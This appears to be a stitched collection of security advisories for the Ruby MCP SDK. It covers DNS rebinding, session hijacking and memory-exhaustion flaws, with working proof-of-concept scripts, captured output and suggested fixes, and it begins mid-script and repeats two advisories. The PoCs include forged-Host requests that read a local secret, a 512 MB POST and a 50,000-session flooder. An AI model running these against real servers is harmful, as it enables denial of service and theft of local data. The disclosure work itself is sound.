    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

• Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
• In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
• Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Summary

Vulnerability: Missing Session Ownership Validation in the Ruby MCP SDK's Streamable and SSE HTTP transport implementation. Any attacker with a stolen session ID can execute tools with the victim's session. This is a silent attack - the victim's session is compromised and being used for unauthorized actions, but it is hard to know for the victim

Details

https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb#L260-L278

Victim starts a legitimate MCP session and receives session ID abc-123 Attacker obtains the session ID (various means - network sniffing, logs, etc. out of scope for this analysis) Attacker sends POST to /messages/abc-123 with a tool call Server accepts the request (no ownership validation!) Server executes the tool and sends response to victim's SSE stream Victim receives attacker's response, thinking it's legitimate

PoC

attacker_client.py legitimate_client.py

Prerequisites

1. Python 3.8+
2. Install dependencies: requests

Running the Demo

1. Terminal 1: Start the Ruby MCP Server

ruby streamable_http_server.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb This server has a tool call notification_tool which the clients call

2. Terminal 2: Start Victim Client

python3 legitimate_client.py

3. Terminal 3 - Attacker Client:

Copy the session ID from Terminal 1 and run:

python3 attacker_client.py abc-123-def-456

4. Back to Terminal 2 - Victim sees the injected response:

Impact

• Integrity: HIGH - Attacker can execute unauthorized tools and modify state
• Availability: LOW - Attacker can disrupt victim's session with injected responses

Additional Details

Session Hijacking Protection in MCP Implementations

The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

User Binding - Comparison other SDKs

csharp-sdk

• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L36
• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L95-L98

Go-sdk

• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L66
• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L316-L320

Comparison with the Stream Replacement vulnerability

Stream Replacement https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35

• Target: SSE stream connection
• Attack Vector: GET /mcp
• What happens to Victim: The connection is disconnected and doesn't receive reponses

Session Poisoning

• Target: Tool execution
• Attack Vector: POST /mcp
• What happens to Victim: The connection stays connected and receives responses of tool calls by attacker

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

• Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
• Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
• Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Summary

The stdio transports in MCP::Server::Transports::StdioTransport and MCP::Client::Stdio read newline-delimited JSON-RPC frames using IO#gets with no limit argument. CRuby's IO#gets with no limit reads from the current position until the next separator (\n) with no upper bound on the returned string length. A peer that streams bytes without ever emitting a newline causes gets to accumulate the entire stream in a single Ruby String until the process is killed by the operating-system OOM killer.

This is the same vulnerability class tracked in sibling MCP SDKs as GHSA-74gp-qhv5-v493 (Kotlin), GHSA-wqgc-pwpr-pq7r (TypeScript), GHSA-655q-2283-6jgj (Python), and others. It was identified during a cross-SDK audit; ruby-sdk had no prior report.

Affected code

Verified at main @ cf44475c.

Server transport — lib/mcp/server/transports/stdio_transport.rb

# line 23
while @open && (line = $stdin.gets)        # <-- no limit argument
  response = @session.handle_json(line.strip)
  ...

# line 76
while @open && (line = $stdin.gets)        # <-- no limit argument
  begin
    parsed = JSON.parse(line.strip, symbolize_names: true)

$stdin is the raw process global (only set_encoding is applied at line 16); there is no wrapper imposing a length limit.

Client transport — lib/mcp/client/stdio.rb

# line 150
@stdin, @stdout, @stderr, @wait_thread = Open3.popen3(spawn_env, @command, *@args)

# line 228
line = @stdout.gets                         # <-- no limit argument
raise_connection_error!(method, params) if line.nil?
parsed = JSON.parse(line.strip)

@stdout is the raw IO returned by Open3.popen3. The @read_timeout guard at line 227 (wait_for_readable!) only gates the IO.select before gets is invoked; once bytes are flowing, gets blocks indefinitely accumulating into one string.

Impact

Denial of service via memory exhaustion. A peer that controls the byte stream delivered to the stdio transport can grow a single Ruby String until the process exhausts available memory.

Threat-model caveat (important): In the default stdio deployment, the peer process already holds local execution privileges equal to or greater than the victim:

• On the server side (StdioTransport#open), the writer to $stdin is the parent process that spawned the server, which already holds Process.kill, environment control, and filesystem access over the child. This direction is a robustness defect rather than a security boundary in typical deployments.
• On the client side (Client::Stdio#read_response), the writer is the third-party MCP server binary the host application chose to spawn via Open3.popen3. In an unsandboxed deployment that binary already has local code execution as the host user.

This issue is primarily a security concern for:

• (a) host applications that sandbox the spawned MCP server (container, restricted user, seccomp) while piping its stdout to an unsandboxed host process — an unbounded gets lets a memory-capped sandboxed process exhaust the unconstrained host;
• (b) HTTP-to-stdio bridge deployments that forward bytes from a remote peer to a stdio server's stdin (note: surveyed bridges re-frame JSON-RPC and emit their own newlines, mitigating this in practice);
• (c) robustness against non-malicious servers that emit large unterminated output (misconfigured logging to stdout, runaway loops), which can crash the host process and all other MCP sessions it manages.

The bug fires before the JSON-RPC initialize handshake, since gets cannot return until \n arrives.

Reproduction

# poc_ruby_stdio_oom.rb — drives the real client transport against a producer that never emits \n
require "mcp/client/stdio"

# `yes` writes "y\n" — instead use a producer that never sends \n:
producer = %q{ruby -e 'STDOUT.sync=true; loop { print "A" * 65536 }'}

client = MCP::Client::Stdio.new(command: "bash", args: ["-c", producer])
client.start
# any request triggers read_response → @stdout.gets → unbounded String growth
client.send_request(method: "initialize", params: {})

Observed: process RSS grows linearly with bytes produced; gets never returns; process is OOM-killed.

Suggested fix

IO#gets accepts a second limit argument. Apply a configurable maximum line length (default suggested: 4 MiB — large enough for any realistic JSON-RPC frame including base64-embedded images) at all three call sites, and treat an over-limit line as a transport error that closes the connection:

MAX_LINE_BYTES = 4 * 1024 * 1024

while @open && (line = $stdin.gets("\n", MAX_LINE_BYTES))
  unless line.end_with?("\n")
    # gets returned because the limit was hit, not because a newline arrived
    raise MCP::TransportError, "stdio frame exceeds #{MAX_LINE_BYTES} bytes without newline"
  end
  ...
end

Apply the same pattern at stdio_transport.rb:76 and client/stdio.rb:228. Expose MAX_LINE_BYTES as a constructor option on both transports for callers with legitimate large-frame needs.

Credit

Identified during a cross-SDK audit of the stdio unbounded-buffer vulnerability class, prompted by GHSA-74gp-qhv5-v493 (reporter: tonghuaroot).

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

• An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
• Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
• The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

• extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
• validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
• validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
• validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

• Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
• In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
• Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Summary

Vulnerability: Missing Session Ownership Validation in the Ruby MCP SDK's Streamable and SSE HTTP transport implementation. Any attacker with a stolen session ID can execute tools with the victim's session. This is a silent attack - the victim's session is compromised and being used for unauthorized actions, but it is hard to know for the victim

Details

https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb#L260-L278

Victim starts a legitimate MCP session and receives session ID abc-123 Attacker obtains the session ID (various means - network sniffing, logs, etc. out of scope for this analysis) Attacker sends POST to /messages/abc-123 with a tool call Server accepts the request (no ownership validation!) Server executes the tool and sends response to victim's SSE stream Victim receives attacker's response, thinking it's legitimate

PoC

